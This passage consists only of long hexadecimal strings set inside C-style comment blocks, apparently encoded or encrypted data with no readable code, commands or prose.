1c2742b0a94df04f2036052a75a7024f6c50eceacf8e182191efcc2ecde6e92b33dc447a450d8e38d9b004e1974dc5e2605b2afae058e0466345f109fa4b2782a90c85aa6327d1fd4a8eefdf8a4495f3c6fb4d7ed22c8979acd66b22d615ad032d891609868fb2f43c93c2729b2b4e8d96cafee9ba37db7a466c8b2802f071541077306ccc5faf288ed0ba705a2e64de5d0210663cc01949f01f2ab6238201300b40c236fe856b8344ccffb82ce9a9d316222f448f0189eee306b51cc14a6dfaf2a87c626fec411ccd73fe34bf6125de11bcb933d2d4b91c3be1c36eb78b4be745d6c493b8adb23fd5770168baeb53c37a507395b9310c9543b29caf50edb4ef2f75851e448f1494123e77b25386920e47029ee6472c830017eef2becaefc592b41cdcf5ac37a8307bcd91185a624c764e7322662bdaeb98f5bbc9292b02bb2eb2857d8e01038cbc32407925cb08130da23e8a119e4c0492c8af65fa9b97da3f4d030b19646a388b68c3e3d5a7c6241adcd7d4be11a38c3ceb09ce88ca0dd448a015c78851dbe577ffd26dc35284eb2d79ce67ca44bc482de88d6f58ec7ed6de5bdf8bebe8870ac0cc8caa870735b1cf93d3a1cbea89a22ac6e9cc431c68ef4787d9c3aa339a00554b7cdf54cadae39d3f39f4976ec658887fb3deae3eab164b9c8546eec7df7adb7b7bdd54d73d20b94a35366d708aa7c172abb700f*/
/*931a67d66f65129c71c972415405d3d732097b1eb15eb4038e446a42d44ff18321d0df6f4df5a97b916eee4bd3bf37e9a1988cf264b63f2f39e07677d125ac3ce48d03248f4016863d17faec5b913b2c016204736c58d1c16be2e9c22cd4a4538102c9d250dfb5be4da0188e1c7082272ecd935c5dab8ccc12c67938a9a781e7de4e42fdeb133a34f3a0fa61d34244656d12a2af2bb09cc26656a59735bac364c5fbc24f895c3f390ce2a546de2535aac79e7be00be392e533734f94ab1e594c648ef8cc6785fb15efa5a1138916988189e869a0cb99e905c62b47303441af0dbf6263805adaf25d0e60279ec8a51cd2e119c9d93013c6f5b9adf1e1dc6139252439101b554e90437f7bed08b29c798bbfd6f72c2b501bac2707dd09c2c9ccfa0f7156ee0eb947e796190154c9ca5f26ec8459a33b822de76818e0e9a5ff1b379544288f3dab59f7a481c8d875b2446c74648f704efe46fa396d947ba6d63504afb72d7737f508aadc0094fe3b7325eb132b2cc88380f5c5c8633639fbb6e27f007c73ff2ceae8c3c1337fbfdd98e47add7255898f94c41e6a2cafbd672aa1be72177a6b4f5828e04c2bd60f935e8a7cac200a1a4dd7a0f00ac51aa3f2f16e2049f734031158b3463c9038f86e133cee109d15a3cc6b62c34ccbdb88dff4e45d76773193057d0e4fe613b49d96688e692afeb4d4bdd0ead024306299380b8978f7c02bb0c013f9c3cc1ffd617d2e28256949cf3739245071ceab272979fd9f741029c891a87b76010baefebe19d3c101b03744e0f114326d045f3cd748363cf342052a04a3d4009c1f28ca1948cfc3a8808cf7578490bef4e4d02233e73b67c36de893a0dd24bee4a2dbdcf2cad02525350e6c7ef330b73650f6d923a60c8e1b72aaab5a5a5da700275d70286f8ac24526c2500dc2b6a30fd684d962a5c5792a4d0912a0a73aad6a449e8d69a996599a35fe7f41dd899d15bc9f47e312d047143f422ea23e6d21ed7f843907be321290caeba45044fec5d6453add87f8a7e5aa26c983c93f876ad3bae749dc2b465e1bdd19cba319281816c787d3a9331ac57fa6ca9c5ddb3a0ed4d382e9ae78a138ffc5b58a16e27ee0c67ca20113db2ba9108b3fab08bb3fd2921197d7a3a7d83070f749b1ec4a53fdec216760e8c58679f3111f8e4ea902b95a40a49de711659d9a897071b057c47c9fd907fbcf8cb5d49f2b0d9dcf59f2a47d0b8f7317724d54f551b30d7b90978d07e5881e9e4a6a279d068388c895dc02c522ffd70b062beae1a09e0a67324ae32ee5244477e81174c614e26551ee189a4834c7f753ece108d63a561cd2efd0543b76c260dcf2aeed440b69d5e2b80baf7ac7fd18e9a8ffd979504fdfabef17bc1a93f06f094863b40ec407fd119d42260921a1bfc2d5d81c986b20342cc50d7b04eb5b70b828d73db61d239b202dcbb7224d573552a4c3af1eb226e5226d2369d0f818f548fd3b14a91de1ea5dd29ce6126609f53702c93466d9817cd2d118414a5ba8fbdffaed52909647629b588dfac947849d9cea65ee0abd7d9d5b7798950dafbb1ad19ffb3f0b16dd6fa52d5564458fe22c841382a0e748c5fe32ea8e7afb5745728e29ef14e5ccb9dd12bd8af996f5465c1cbaef166416cd43e64ea584dc1118597dca9614a36dfca57db83cd71b9c4327c24097d3cd829f8e32ab1acf84ba9d9e9f5c5a24e772b4a60cb75f28bbcb55197ade544654ea7969f2283de60ae6943315d9d34491ebd41b7293a6ed56023709605b586c000a896edfa51db5c5b26558008596100e6a9f8a81ea319236efdc1f9dc588f4e305cbe09dd234d2b830983193f596a17a1adc67301b79bbe78826aa2143f95ecfc2b1a97a379ff46e72599790d60c82e4afe6a771f6fe3c4a9cbeb0c0dc012e4facfbea7c8afbba7ac56d91778d673259b87b925f44639080aaeea7b8bb8284c085c8ec602d10757fd59d8d4a7e570e8c1c5f7d1f77008a32ca2022da5511efb76de8b81c38eb4c82eb0e503c228bb21ca730d4961c7d9524c303e97b99d522da6cbc1070aacbf484e11897e32b3e0751df001929333aaad46651f3373818a606cca2adea735389960471c6b0e3dbec5527214124c7724f4467c55a811ea637590916fad534df8c514febc8d0e74b03158df900bff06078399fe4fbb44ca14a177dd97c5dc79a5cd220beba1e7d26348eda87bc457461f8a672f175fed5c336b91b59f78d8db4f20a725d054b81f7e7679cc5d9de5be97fe044b8e5cfc427083f98aea588ad1ae59b014f78ec038110c20725d66266681888a8e0df34af01d00f0beb3263b55be6b5b339a241210e10dd3bc7b740b00980f63159edba4d156d14717b81fd5aefaa62c5498c51990218193aec3a4229a7571fc18598ae33b419cfd0bc9668d618a6b57fd9f6fd56596fd05dde6c30e7341551ae4ede1455947e7c4642a53512bf1122dcf663111c516344656c76eb1a0e723479c013fb23476311db3fb11f763c1317ef2623ea54a14ece4f003293c040ef156fa2ea19777359e14c5a8d9c19ff071c8c7ec16d125df5ecb067fcfb76944a9ba40e84a3c67b0c1af0b0a09614030670a5e67d40daec748ea0fcf717bb12f631533c23407f5929c0c791b0b9feb9c5cb58fe13d618ac99d112b21078727d7dab97ef58801e93678e4a35aabfc64160ea336cf77e2954b35c65e7ae157dc5db077f12ef6ff1d69d4b56a0cdb6f2ad542937efbeec0567150b3c186c561ec985ccb66dbd5c4545db819e0033b147a1404892872f19fe3f08aeab0987c08236526c7dca6ddd2d87446c*/
/*a1eb876cbc0c57d70c3d305a1c8d3aeffe7adef05ed452debed32b4a016d5e3685836ba2b85dab5d54f6ac0a7f2998ff9caa9b23439f956421b4f237d0b8934a5b731322680696cb3b2ec7053153612774891d6c13208b3a3f8281e4d36828e16e44217c73afd01bf754e451a468419c1efe6b79c19497cde4eb98911002c56b0fbedbaf897f0f1f8e7ff148e9c1a8e3ed72d772e4aa7e542064ea2e4d831f6bc21175a3e785e44b1627030e886cf431194f7968c0ae9681dd4ff49e8bfab2cccc27ae683740b95cb997eddd6cca500caeff3fb71717b00fb33d65a9d714f54e76238862990f8ad0bb4e3adb85acff42b68786319743019ed4ae8ec81f9825362ad5d60364fb33c4ef3bff5fffaa6cde5b302f07c8dd07494d54d853fc90c371dba0121774fd70aa401991271a1b0d3104629df7fb0141b95fb073ee2f2abf6684c1b6fc51080f8395ff7d442cb9bd2a3713f6460d6a1f72f798fc748fb29b60a3299d0f8a45efb5b75da66a9774e194f7df27016e96bbafae18ae8fb03631e2096871a4fa3ccf75750cac951a224572af8551557001b70d962e0eccfbbfaa1e6cd6ddb329a375009bf758c00d45fc1fdc6ccb8fe0fa1e9d8f265bfc24f268a10a9fa9bdeca0b40c395e855fe632403ff44ee64b76eef4ac80a28a85e08feb90168f4dd4b93f47c078e4f9c5aaef7f5fda2dea63c3f727f2172e9147718e4f78bfccf68770b394363ad29c9fdc4c077c3d755bebcc6cd31b2fda6f71c83448693f556ef01d52256b935cdec2a6960da212418f6330edaa37194f01ad8f97854228a36128b7262c13042ebe47cfa671b3951eecdb59d1c0e6d00022480f60fd8aa0cfce16340c75526d7ae758312a352bc42226ea034d5bdadc9065daba6d8f8fd5ae715439ef172bc918a1696ad53cc4c2defe3f02cf8dee19c025faa946b1ca38fa4ecd135909644317310bb8f01941927d781f43ba9b91450ac6bec2f068cdb9904bb1cc814460bd5fdfc0982a11234bf414d860680933723c1e613a18e16314bd8d31abfa68bc8c25db285e23ef899b4bf5f9e180b88c6e5513d82d8eb5e9c9962a80f743f82a78be195fef18135c23966a1e7d10e7aa03cddd115085a5414af1a9fa3d452a14f5cf485d6ede802bcaf2254d9616f775849608d83f969d7297c295431248cfb7be5535ff07322984288925208c86690ab6e1b5e714326300a8268786a430d858e9a6d223cdd5df0ce4a5ce5ea214f27e5c9d4d330fbd55eb0a843b1e9ebfb503b51acd289f69d6edb83b37e15f87a9fa6b4de227e16e08e7fddccd761949edfc861e21bb7d1cc8c871388e966b94cb60e8add5b765b2d0e93c4859dff03834be1b7c0553179984ea3da27a63f435b39effd6ac876b44af852f4c849d51deb3745fca1382cd61ab277c1d5268d19bdc655fcdaaa82008b28ea365599c5178f16254bf231ea5e69332028a973bb9a6b22ef6369ddb3072086014b2ab28e807336c62aa1583f874e34838eff1b661044553f19783da7ccfa5d0b1535ee137f6eca6c8198615ac5cd4f5dd41774d879188a593f776a40ac044d46d1c60785c4fa3d8b90cb0ba68e0391e80dd205569468ad73f2da1ab78f9f0f373647d71a08fe02828972efd1b06a34798ed307dba389924e1489d6ee0c17d237a417c6c6ee4fdf0996db7bd44dc69767e551e3e8a62d036d1c904ce606018c48820288835d1cfb9f99c5c3963cbd1effe720bff12d14db9a398d2c3645a95d8cb2316d3a541232f55ef1a1a9dd17cf71b4c3c67807f06ef0d0ff9d676eaf4b18bc4c1979f3a754b312a62f5a9723eb1cde8cb2c39aed5245fbb994c798c8aeec5a001347ac119b93b07ce9a5481e355ec80ab6c27b0941cdd4aa9c101a74bb9211392c9a6a10eebaffe156abd3da7cce665894c29134449634683f098c818d059e8eb79a62766a2cb4c097712a33b2a43585607225dba510c8cc2e095c6ddffbe2a29bb3bbde8a646ffdc0c7b84f92c87b5ed5b25c69f96e09ceaae967e47c99daf04b4d7384e11cd416daf62c91f77f34f0a2d7c88a8e1dbbe8a831ddffe503144299239b9aac3c1dc04bb2bd03a7ece60ee4c83bf60931c375c52a4573152bbae84d6e746ef9a00c28d78d5745d83427bc3257454d2b31c4b03eedbe8c5b96fd5b478ce777eae44283e22ef363757c955567f17c5ee6771d09d29703ddd0f4d5eb97f5f931b77ec3dff9a10556ecce47bf8cb2015f995701d90277721e7343dd1d2d08311e16c8d7c2cff1e3a9a9c09fc26ea329be1c9666adf0a8efcb142cbf4e28d241a4070098845aaa19842e4c8a179fd598cba7bef94f359ca7ab6cb2359c1b387bc563498fc4d611ee380ae6366647e45eb37dfb4b94f21448a1999145c2b1360e6bbe29e72286396eb5055a80d2f33bdba7bb1f799e6fdddef9b07f07e33d25aed48bf2aa6fda35c2e6d5fe53edbafcc3f3b606da8b7e271ec9884566bf39d1034443a0e2ec5e18095bedfeadb25e8bae66deb6d1bf033ceb48b78f3163775498d77e11ba8587e2b9ce76bcc677fb63743be5b214491349907fd32064285ef453a44cba2c0c54da01c995af2e7fd49afad832e6fc2d84459402632ddd0a77ad27cd188597004c22ebd7ca4c8db3f974d239e11841806448b899fb57845bf0ba796e44dab995fc63d095d713c60dfba43b83031272df3392b036292fa4b912442d60cbfbe4e6c27326a804669bf53749bc33730fd00c1077b97927bfd1cbc6f1cd49bf1a176273ba2776409e81cdd889a0c4daaec7e1ce746f7b5f6dbe0dd5320c08f5fdc946cbc3a658830*/
/*5b7efc54b5f01eb503b14254c814541c599a1b49140e0c04428adcaeaf1ac6c3b31325671e40fb6361f69bbd891fd925e7df029af11056dffc250787bac297ca53b2cd15a59cafc6dabcb8275e465ba4d31f9604cb4d0f1480023cd09da1bc0faa3fd4489908a70b641f2e0f0d508407a61f1ccf2ce8f25abcd2b758fddf3083805aea73667a26a91e89234f7bac094bda697e248d64aeb87430dcaece5e9da2aac6cc9d77ee83ddded3bee997b2e9c7c2c45137b68bd2d59840913f80420a68a4a8092498ff20de3c45202964d5d1ad409af063368493a0172c160d374e1a37c98a188dc964becfb1dd3e1132ff7b2cd1661fb94ccf65eecac6236896f32759a2d6252133781657027f992648e6641f347cf5f98fa1e6d7cb5428ae6b2f9f8bf11fdff59c1a7fe2c374bc94702a6171bd9ff504351c77d3318e169532cb5e039b30930c1f1c3b2f8a3c539ec8c1481992c1d58b2e85dcf7bcc4adaa9cd10758906c221b5d8e9d470612dd61a327af79ba00b4dfeacddd8b4659aea9efc94f99a15a36d9e21fb3c820ce3d74a9a8c1212af8f9e3e5470825ada0b5fff151215e80fdcc6bd63a3db13bdeab0ad311ab491f155a8f9334507e97b308cf28d3f29e78365ca4b18ec0155699797ff53e62b8e95b7d19f7a8d6cb1229effffbf020ee60f98066cb613e315834641b19764a4a9bb61a0b52a1234e2869bb065e7e4a27b2523f9d586b2c1814ee0bb7c56e73e4c730b0a703a138fbe8a0208ab4fb1b59eea39c56974d7148ed011a722004cbda86225762415525aa823e9febcd87690cf39763e4b83acd85df2f94d7bedbe9adbb80b93ecdfabf856b7a696c500d07a017f3a8c7f460df8a5d5c5a3944cf1bcf73a78002443e6dd2353a039c54d237aebdc88b53e52c9e037407860b6cdff4a55e1a09f8285415bdeed928b942155c90bbe295b655ec6e5b08e6115ef7aa7135edd308f57e2abf93fed2988821434bca728327a23c4d4570d1f67427e664e4dfa533c2c90e04328a839977f5d3e38bb88e2a770058b9146a58917c54dd88801c9fc333d079e5233d0fd11d9d28bf16f2ca389c598a7ca208e56bd77f5d2002339edb320fc18eb2c323fd8f935b1d0a71d03bc5f8e9868e414a0cdb82ce509752b103ddd52bce8f76ff08fa1c6e36097b725e6f8fa7d059d9aec919fe6b052f2d558685ba608c596f25ff0a47c81f6ae7bdb18f50ba69e7c95dc7a451fa04b6526e3174be830aa5f962398bbe370e9008cd34f44654a2b1d54ade018efe816a2a0a9b2bd87fb269b5b1ab1befbdfe8b286067d27fc7cda5a84dcfbb629d349809cfaa54a2b75dbd9f00e750feb9624cc0a946f659ba761d38f39f3554b2f43cc67907fe66c5ad397deff935941723728dbe43c4fbc40d7c8af2f97d1b338455a8eefb9b798e116270fced64f04022777a22eef58963a2e340cbcb400da6debc9a0783704effc953d9159a1969e468126ac3bd701b3ab0b3d98a0309966ba4e9af16b040e72c427a4f1b6721d11212e2c1f0e151d3230dc6989d75a19f5276ff05909037afcd05abbce9a72ff41153e4f2c588db71d8ddb0507e05f62574eea5dcd6dc8ce7961504e576d7a71fcb5662e9ce799deada87543f8f56ae22f1baa160ea84663e7bac7bd4b962066001d51e0b677788297e0c0e5476f435b4ab6b9275df39eaf1195d208c11c69a45a9a84c7d9892f0a5fa40e57ba5ccc1f0cdb734e1025dc43760e913a509d03ba2a61cd754f5cf2cc6447bfeed424c6d6f8c5e2cbe431377b5534dfa6697ef5647f46e96790d444b80751b9e3407cda3e55c8fa4540759040362977e5421fc24655409672c889431b0d14e6ab18b63755bbf2500f61e302c47226a5c07574f759aaac3fc55924cbc9cd9b6288b564d2cc0a832162f5af1015ab2e7b5ecf11305b9dae434ee11be72ac540b6e4108e726c25dd5d42dcd8b5996e9435e77b16a1e555281de341f77c5bc96e3a31796b77106626acce4a595c5739737333d556911e602f40b57c1564d5d7b7e95a42aa4f77ff70fb4050af52fde1bb12e80d4f69af4d94bf21846a42326442a48f7d0fea390ed84940015607f451c47563eadd7019d6d99ef6edafb5d5d9a5e344bec75e50dc5dcca89da67aa709ff862a819f8ddf56f8df5dc52cb8b83d0c30f22cabcc069f82d6f466b1d7173101d36063b1965ada10c7a39d31f81a79d9504483116108399316d71745d2044d8fa9ddb71ba5c7ffaed23394fdd0f1e65d2ccbf2fee7490c88c27e2aacef91c9d88f0beef9550bb388bd8eb9e31bfbedabf9741dbf84c378fd1f5116fe2972896bdf0a2f109820113f6907c91711dcae4fba5884b8fdda6fcd3b168f47941bd11a0d308154dba8753adcdea5bddfcfcdae5808013cc3dd86b987d5a5e0b8563ba822a40832d49fcc06a6df674fa81450e54b0e670049dc134aaa425db508a74a60939bf1ca24760c6c8afdbb71421a9cbb8b91a7f1d8a641418450044d9b71458c331b587398c11252ab373ff05f492ea883d0ae151c5542ed056a766913fdfde82965faa6179598259cd5add990becf7d36a0386cba7cd6b918b9b4b24f1d600d85fc34042536e52b6eeec66cb82bac682ad1e190c50c72f22bd3df522b7621927c55d5ea49b71d3e1fcfb4d845c5ab301b15ec7b494e38013b63846f50513bf2a41e0762b6f9657bbcd4828a0d24fd6e434afab7f92cbdf3c24ec7945ea82cd5fdd9bf9b2aa992349d4e62f8df6ec53a70b7cd0214888d59209b0b2043d0e0a5a74a95a19cfb5af146556ccf050aba20ee78e870f7c9ced440f13*/
/*52429447b519452d130e5580279fe5c55792d394b8675bc1b284459f7aa9eca473b70327cde84107009e6fda460d5d3397e4e6a5ae4caa1c4da59254fcb7f7d2b797a91e58944e92add50bb8a168adf0fa5c48cf13b1b00fea9f6b99eec27e156b7894132fc277f36cb1b0e00ae8827175fe2921e78f488e532814acb5e064319f433501e6aaed28d7d5125734431950b62cfe7caa96d88025449b41aca65ffed9f270476f80de4ca1d70252dcd9fb8354c7125af6750daa3f73c2a0879f936a6dc5d2d981ad392c1b8f42202f9ed73e2227dbf1bb4d1928a0ff4c82d946af94bd1200996ad5ea531754241dd6f000f44b370dff067b0f76c43ef70883d10aac7dcc29a755681c4e465e224573fc5d888026d7831681b48996a4ba39fb090693c983c6f4794107f845affbf7ebc56a496ed940212e308c98f0db8bdef27719edb29d17588c0ba80818043e9ba6797db6bf419131278ad913c095ea59e0dea420485a90cbd1ed32474f11e7711d3aed1371def5a63eacf81c0a02984bbe51dc5dc8a83525a6d0b042a4f1904b45f32ec97e80876224cdb5476838a29e249637ec4be3976263a5c352bcff28d07c7080f5a1d56f869615a78501426ebe49ab4aebd807bbcf69a57256ef39c0200039b9a20c82d8ae1cc67ad0997699ab380944a482b558dce245015a39ab1a92794348c64b77372e810ece837bc7b26229e4727797aa697dfe7677e0c013b3ef19ecdbdc4592d5b265762743a0d52c103b2f734adf527ec079db4102a4ef690daf6b2e437576615cdf482871ce2317d152c75f142b89d8c9f9d2c670356f75366b24020d01b09653186cb7d19eb0b01f199b128d01a1c267f606cac1eca778a539ab5a05a0d654acd9301472356c0b0e47040f5fb98596282f583a476b20bfb0fb2a337f044b7a7117237f86b6e54ae89140f2b327122a48fca1867e73c1fb7d7857d3e92c25ad7554e836515043a69d9a99810175fad8324af10337a350845c274399cfa038700120d6610be8bfca84e87c4ecfbe437f36997a9965a46e3c2d524e59b6bce71c8ec5a4fd8b7b5035195a57e730f01f1e3d17964cc34eeee7308157d7356f009b999aee9ef0c56d6774d2abe824b930be225d6a1d27e5221d0c51b5c4a9832b78bc15677b3c8a76f3254351149969594fd143511ab4847f5a309a8d6a96ea45d581bf1b25eab574d98357ad691e8d29f2dcf4a4148f8bf0dffbba2b6747d59b4fca74872edcd5da42cb520c03d26cc5de14d77ae5323f08a4693c3a9657fea1be8417697e6157e7f25e916e0e4fdd10d7b88ad91a2e69004dc3e28dc0ad1d6b880df2272f7b2bbac26dff5cb885b44b48a32af9f2fe00d6b62d56c979efd9e9cef4a43d670106653fd610fcfaa293ff986345297ebf85669f40a0f5774fc24aff97c03dac2b7dc7c00faeb55e59a6f1c4dbb9a164bcab03c4ccdf5601df5ebdebc22331e1a8cf0b59240ded9c8820daa69d7ea752b873831b0fcce90c08db86e563fbb4daaf6e961e0ad802ae77fd9891661a5ccf4422ea6ef60450637ba3300796d59052c3ad96c80a64b0eb065809059c247863f2f1bd44dd3c2bbafe8382e844ad181938dca5364b0bcc600e2594edde85cc240894b1180f026444348f3474ee9f46991d449cd10f2a78cc7290b555c4a90c3772219db7d117cf2c76628cc40b96fe354c92d2ed771e8db124e00090aef0f43678fe20e50509f8314b5921ae427fa2c9c76ec300fbe24b6ed0d18ce3cd1b3804f926194c4f157f1b9648db68254736d0b41e3e2efe6a99d2e3de524da5aeec5e3c622ef998b32592a929fde12f52a856820b0dec7876383aac643bc8b744534d72284881e21de0e0c1809bbfae9356657d0d5ac1bc388ddc8432081f4f4610c56354c73631988f01f456c555c77d5ed2ba00de4354a51f295706c61d688da1f2cbc1f01f594f27aa5bbb954840335f9e0a083f8fff069a0155560816b802b4140edaa2cc4377e528536adb38f927dcb6cf4f3cf84eeb8f0247742ff5b96f855fd8e6cc6e77ca0d32d90f246db719faedc5472890eb2bc49d410dc3e9deaf5bf7bec425187bb122eb2e5b9a615499bbaf0f9508fb4537b63e99f38875643f3d292a59809c6ad637e2b88957c19eb9f06eccf2e7aa9e1167fed1fa29c65493b601f88131024b41d4bc0f6cfdbe0b109dc5b6ab201434cb73d56ac1b9989ed3532cf836bfe7c358ec40b3445a274418d76896fb19bef1d3bb8d6e04481acda4da0119ed860da327aa405ccc0dc14ed51a98e64b4a6457ec6a918d4154eea37b3e688ede24afe251e9dafd5c6db61cbec74171ef43e554be7b8ed5430d7e5e489acdd8cb020c4b2d583b87c82b01b7c097cbb72f8f4dbe87517c3c3b8ec6530d3ef7d6a8631615b92900f1ccdeae585efb215bc39327b517dce5c09aeba01f3093bb0215a47b7d2a8964f5077b8556a0c835a3fdc55e7b94d13f92825dfc39f5eec537ccf9fc724868852c72909f1537ac2ea87d6b5430da1d26ee7693b03b26509b3b09e2a9886ba011feeaa8ebfe719fe22ae15578d1121eb5f2157436ca15b6c43b746f5c0e494c91c1d86a1b1c459a682ad7f0f01b0056d17ac0d87db02fd17235c282f9b2fc15367e105a7b631428f52eeb42174032e09459e9a71e76d371e07ec1800699f270edddc1af8c4e55624e196b35c99296fa4559db0480f152c37f62e3d59142e25999fa310a6725eb28e18003ea350539ebe68cfb856b72908ccf2076c6ed86ef6e200823386fd0da2d1eb3b49401f889c7fb787414470fc0d27356f592b5d0b2cb9f80*/
/*d20b80e55b9478f24e17e6abab2aef3f4425e1978f3281c65668139bd55e95d4d4ccc25b6b5eb54db9ca6aa16a8f5992e300ebb602f088479efaaada08b516ccb94453fd4ea248d286a8ffb1f8f2e84a4442ac739eb97211b085631cf5c2be0bc490256d8d88a40c9585a13c3482f8878c0878577c98f0c5ae45eb7f3d4832fa624f59cba3394f2fd3981c583de52f68678c206ec0c4db91e668c6309018f0831311cc21394b8c3b8e98fe0f58d2e8f5d649d7f1100251bf86bcb967deb57f42092db83052ba48c8e8849e0a6e7f2098e7e6ed302d896eee8dea718d54a2f0e040fb8dc178f422d92bc64b7a7fa3b3fc271eac1cbe26910f02e0b70d552500a55876c2480e819873cf8dd86057f3c5b5e42d5282f624804c509c4646605888f54377b48eb753030ca9b327bcee217f6286a54ece19f4911935748327d0bfd3fdff0716e853772738685762abfb179f2b2008c73ce57b128d1f7a58ce57d5d60bbf1d604c205be13e77df6d0d683a98c56d2201a82a387356890457ac338a667df37b92d848eb898f5f479d2365ac34c862b0aa328135314e40e92d68c7388efa78543a4d48a5583454c5ae343ed1ec7ec752ab5a1496c8d51097644197600ca1569b069ab311dc504fac14270c513cb1273fe0bd7e2504858c640d5ce94b57f4a8a533b39b62f121d69782146ca3cc5c922a4fbaa734e1a6fa3f1719aaccc2590573ae645b71d30fafe61c2c01971aa1aec936a44d6588d14855eb403a33cbdd875b08211318a4a329a1387d4a720fe29e5844985137e72940bfd603eb320e47fc834f8ebba740a6db8e6f9a25c00b8ca0822c0421267ab69cabe713213eba248f440dcdf78a3feb7400bfb72e08772e4c54ff06d320e202b6fb440f7c13392798bfe7c8830ed3ea456cdebbb97c30b222d4e99b628e80d88d4e3ad4fb3505611ec3f52be1f9315b101c1fb9163e942fe76c4ffc8d9553134ab24f06b13a69aee27edd56a3df684f02b0283ac8e773db3e3ad51774fb0272be4633582aebd9c850d9e4c6a5d277921c6f39b585d2c42349ad6a9abb4d7151cae36e6c8dbffa5efb0620e028c9394a3451bd469175d1ef3f5fb9609386fca18578ba2c7bd073867e400bc5644f456b94ba4dde3f39ee5eb8e0fc492a492c86ba1adf0b76c57fa67ad7cf17363d733769b661f40f73aafb0a3757e742088311e36b89b44f5d4e937b1e3c19da836c2f7aa58dade4c381cfe31016923ef3074daf8efb6ddceef8361e0fc50e9fa4a22654c3ea93efdd409258034fcf82cbc4e00b1a23c2af2cfa30cf87823f480932377c218a84b97cb13ee021f430ea577be7bf6d2cfbfe939ef5f292642dca9403233dbf499b103c70b026f191ea86bfed72eba5d99d12d85ae8114b99013eaabf6b5ea427b2bc00ac1668e113340c414537f410f3c0fe9f275d40eb59a1eab83dc52102a4560e1b1172aee221964108779a462974f2f53b4e6cf38f20abad767a1831ae14117cd4096013577504064a63ee45a4ee85960c564a6191888d048203c8a6ba58fbc807da640757d6206f77e7e84dc16ac340c9522c989f74f62b96e51bc705c474a4aa9bfe3fbdc7851e0050df363cda2694503b627ce8390ee0f697cc6f0df75685457ea4188739c5c2cf62738b4ac4482f596c739e1fe49c1e6b0bc785d729bf9d2145cb264b22103af77c818fc7893d7764ca3f5b09578f23c322710de2d1862abdcd7e25455f9df2876fb3f3cf76fb6a9d3c073d6ebeba6ae290a8d022f75c2914d8cc043b7f36dd320d207cd69e536abb0ed065d70ef7bc71bd251b56e6870e71fe5a5f439705bf668d7ed71be08a7c0320001e40f0d456d003c06bc51e24ad8e51f0bbc861fdb7a0e010c729c971bdcf8d67708803ad68c3b9f2660771184c17476b40323831521168c1a2d2bd8601533f8d270e1b7a2df48df8d1e1285f882c18aa56d81d45c93e801bd05bbbad74a673adcbb8e10c4d399f878279f515114cc61658a66a7b00ef2c19a77049deec7493b09daa53c5971cbbd58e77d13f0eb04f182734f6ce3b817470fa7fa86543fd6c888b49f02423313ed090d07d4531098f959efeebc0ccfb75db52cd3effd1f6b15f7204669a2cad57010af0b1662e5239bfa0992d8c1964ff794c85d27d2312bc9d18013e6500520a429bafeb3e3d0cf05c13deb50fd4fc385fd942e90c912f5279210ec6967d47fdb6801171260452fcda2de8020a932cd5d994aad6ea257f06bbecbacc60b825adec7ffc5e8015be16ba6385b62ff1abbfa9dec7f88bbb7f7f68ccda6065a45f69cc60a45fcea3aff594963abb0d7828b83954cc9b7a060fe4017458734aeed0a75fc3e3f2b82896a574279d5cacd1a2ea1e73cd8b9497fb105804d84b27f2a8866a626a9e421dd76edd434a0dda31a84806c34e9abc699907f72b6e3aa456d9a8692d2c9a49985d070f170312c76916e98cd972ec29f94b479f2adb3d9e7e3228f4a74dcf59654324992e91224143e8607f2b076164984b257ad404cda7fa04b7d78c3c3f8a6456b2fa3978a9f6d65a2c6f743af602dced0ef9cb9d91cf16f24b84a9d63a6c52e47442ceaf873f2624277477da41332b80b98c780ede6a2a699cf3069990e36c2b9e1b4f4975b97c341e86310910e4c540bb60a430b32c503e9b97804d94c1aff603d869d955f6494de7fa8368705a1772e494d92dff20ec2555a1905e1f59103b60e44f0733f8a7f6db5f3211cd1460a34e53c71eb35c45e00e86c1a32bc4f5c39c9bbcc3a7689035ee2e0b7a76e5fa9270228d2f55aa1d046ef399b5a46b18d7657b*/
/*656d9d6e396381f91f02c31480129211e5e002d9a4b7e99bd56c4d32313fbe15fd35d0d3b91c56a0b6806ed04ec4ca1e7761d1740236479150dbee6afb7c6bf9b1f57e72b0318ed74f5f5b5cc2e44bf407c9347e6ea17ad89d2c0b38bce3a90e731ade8b306a90036e11a585a26664dff5679811e112fa8a86f4537aec697fbc47255708b576e43740b2e364a15370057d532de8ffa0d2a004701a5af4b5c6799ab2872a2e6788d601f9f519240680d4ab15fdc01a4f4a06c4d4abad6eb9369fa1bd81d317ae762884c2bf87869a74092d68bcd3afdc6bf53fcc72b79a6b1e373d226fc6a3e3c54d501a27ba41f697c9e891aab4185ac91a8fe245025b9170718b90f01178e661a5dfce578ac93b61972534ad213c4398760b926ab6524163e77e539cb4527cb65921b890af29a9b71445b33fdb2e6e15f7a09dd6dcfc4351b40cc726ff0f72824149cbae9b9d6af9d7f10b68fca190c99471c05acd5901ebf4b92f680ff98fb2d3029ffe1d727627bd1e1ccf1c5533b028994df207d896644c4315df379ae290e220721ef51731889fcdbfb6ecdf92e51f9ffee2a41ad7c4fee636497e2d21615fe015c1b5b17dd4399f99e56b38d1f45cb6bbeafac6908c88ec04c166670d84ba411ed86fb148a543b33c9f182c05cec34363767ac8944f583c4ec6a2430ed37fa8dee7f83d4f7a55f7cdd12bec47f1dba1f2a05602cb44d61ceee9c3519ef6378a4bc01634d12604dcfa75ae9adaacf9f4586c1114ca0af9d7f61eee0a7205ce02015765b21318bb2c350b45b86850991720ade78124a6c64a380ba6f2f6a8abae9c732fa5ae62f538e861cfcdaaa5e6e9c5c8f8b961ab0a5258da3f4ce1970bcda7920014f15948b44a1d3c30400396f77c17ad0003a8a3bf23c3df867b7bbe787c2603de58b5aaa4e1f07ca57a46d2b69456827dd46736b01f698ce6d9976234d2e342107811eb0933414e8131aeb696924ef510626a8cb21783b549f0c2f17f3d1360fd3870dee411fb7b9e969a57c95293e26650d1b2793b6f58ba79636cd408026631687d0f0395becec767591089284552329128973eed90b9a520c0dc4df730478b4e89933eb3ccd8f24b7f55d3955b3c36d9c854edf6af6e6a190a585abc4d52bab416f3df709a6c9cc0e6f06c951cbf0df076e65585c26de1b619b86e777053a4094027210538fe114bfd790ac725bd573c58e9efe6f21c93af8901c94b4e2ccb6de839c2376f60967b4335a6ee540b0becce2a71803f796c18cd1ef46b5cb849e9d1a3ed014e08a72162f6b751a3e311bf83874c6fd8fe45894c5ec83e9a4117ed3c5c77b3d5fc3c5113550f37994ba0c60c3cbe5bf77ddb93da042e1c3570fa97306d15b6fc95fe1ce7803f